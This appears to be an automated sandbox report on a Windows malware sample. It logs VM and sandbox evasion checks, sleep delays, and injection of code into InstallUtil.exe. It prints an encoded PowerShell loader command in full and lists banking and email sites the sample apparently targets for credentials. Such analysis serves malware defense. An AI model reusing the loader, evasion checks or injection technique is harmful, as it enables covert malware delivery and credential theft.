Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory allocated: 7DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4CA0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Window / User API: threadDelayed 2874	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Window / User API: threadDelayed 2192	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3588	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6212	Jump to behavior

Source: C:\Users\user\Desktop\FileCopy.vbs.exe TID: 7596	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31432s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31200s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30872s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30656s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30544s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30328s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33891s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33672s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -33109s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32995s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32529s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32397s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -32063s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7644	Thread sleep time: -31813s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31432	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31310	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31200	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30872	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 34000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 33109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32995	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32529	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32397	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 32063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 31813	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior

Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmGuestLib.dllDselect * from Win32_ComputerSystem
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1485539866.0000000001036000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0VMware\|VIRTUAL\|A M I\|Xen4win32_process.handle='{0}'
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: FileCopy.vbs.exe, 00000004.00000002.1404565314.0000000004CCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: InstallUtil.exe, 00000006.00000002.1488056687.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: InstallUtil.exe, 00000006.00000002.1495749717.000000000400B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 6_2_0576A4B0 LdrInitializeThunk,

6_2_0576A4B0

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\FileCopy.vbs.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 46A000	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 46C000	Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: A1E008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "C:\Users\user\Desktop\FileCopy.vbs.exe" -enc JABJAHYAaQBpAGIAcwBtAGYAaQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEEAdAB0AGsAdgB5AGcAIAA9ACAAZwBlAHQALQBjAG8AbgB0AGUAbgB0ACAAJABJAHYAaQBpAGIAcwBtAGYAaQBvACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHQAdABrAHYAeQBnAC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABSAHcAaQBuAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgACkAOwAkAFgAbwBmAHAAYQBlAGwAbwBqACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABZAHgAbAB2AGYAZgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAFIAdwBpAG4AdwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbwBwAHkAVABvACgAIAAkAFgAbwBmAHAAYQBlAGwAbwBqACAAKQA7ACQAWQB4AGwAdgBmAGYAZwAuAEMAbABvAHMAZQAoACkAOwAkAFIAdwBpAG4AdwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAaQB0AGwAbQBnAGoAbgB0AGwAaQAgAD0AIAAkAFgAbwBmAHAAYQBlAGwAbwBqAC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABDAGkAdABsAG0AZwBqAG4AdABsAGkAKQA7ACAAJABPAGMAaABpAHkAaAB3AGgAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAQwBpAHQAbABtAGcAagBuAHQAbABpACkAOwAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3ACAAPQAgACQATwBjAGgAaQB5AGgAdwBoAHMAbQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAE0AcQBkAHIAdABrAG0AcABmAG4AdwAuAEQAZQBjAGwAYQByAGkAbgBnAFQAeQBwAGUALAAgACQATQBxAGQAcgB0AGsAbQBwAGYAbgB3AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==			Jump to behavior
Source: C:\Users\user\Desktop\FileCopy.vbs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\Desktop\FileCopy.vbs.exe "c:\users\user\desktop\filecopy.vbs.exe" -enc jabjahyaaqbpagiacwbtagyaaqbvacaapqagafsauwb5ahmadablag0algbeagkayqbnag4abwbzahqaaqbjahmalgbqahiabwbjaguacwbzaf0aoga6aecazqb0aemadqbyahiazqbuahqauabyag8aywblahmacwaoackalgbnageaaqbuae0abwbkahuabablac4argbpagwazqboageabqblac4augblahaababhagmazqaoaccalgblahgazqanacwajwanackaowakaeeadab0agsadgb5agcaiaa9acaazwblahqalqbjag8abgb0aguabgb0acaajabjahyaaqbpagiacwbtagyaaqbvacaafaagafmazqbsaguaywb0ac0atwbiagoazqbjahqaiaataewayqbzahqaiaaxadsaiaakaemaaqb0agwabqbnagoabgb0agwaaqagad0aiabbafmaeqbzahqazqbtac4aqwbvag4adgblahiadabdadoaogbgahiabwbtaeiayqbzaguanga0afmadabyagkabgbnacgajabbahqadabrahyaeqbnac4augblahaababhagmazqaoaccaugbfae0aiaanacwaiaanaccakqauafiazqbwagwayqbjaguakaanaeaajwasacaajwbbaccakqapadsajabsahcaaqbuahcaiaa9acaatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4asqbpac4atqblag0abwbyahkauwb0ahiazqbhag0akaagacwaiaakaemaaqb0agwabqbnagoabgb0agwaaqagackaowakafgabwbmahaayqblagwabwbqacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauae0azqbtag8acgb5afmadabyaguayqbtadsajabzahgabab2agyazgbnacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauaekatwauaemabwbtahaacgblahmacwbpag8abgauaecaegbpahaauwb0ahiazqbhag0aiaakafiadwbpag4adwasacaakabbaekatwauaemabwbtahaacgblahmacwbpag8abgauaemabwbtahaacgblahmacwbpag8abgbnag8azablaf0aoga6aeqazqbjag8abqbwahiazqbzahmakqa7acqawqb4agwadgbmagyazwauaemabwbwahkavabvacgaiaakafgabwbmahaayqblagwabwbqacaakqa7acqawqb4agwadgbmagyazwauaemababvahmazqaoackaowakafiadwbpag4adwauaemababvahmazqaoackaowbbagiaeqb0aguawwbdaf0aiaakaemaaqb0agwabqbnagoabgb0agwaaqagad0aiaakafgabwbmahaayqblagwabwbqac4avabvaeeacgbyageaeqaoackaowbbaeeacgbyageaeqbdadoaogbsaguadgblahiacwblacgajabdagkadabsag0azwbqag4adabsagkakqa7acaajabpagmaaabpahkaaab3aggacwbtacaapqagafsauwb5ahmadablag0algbbahaacabea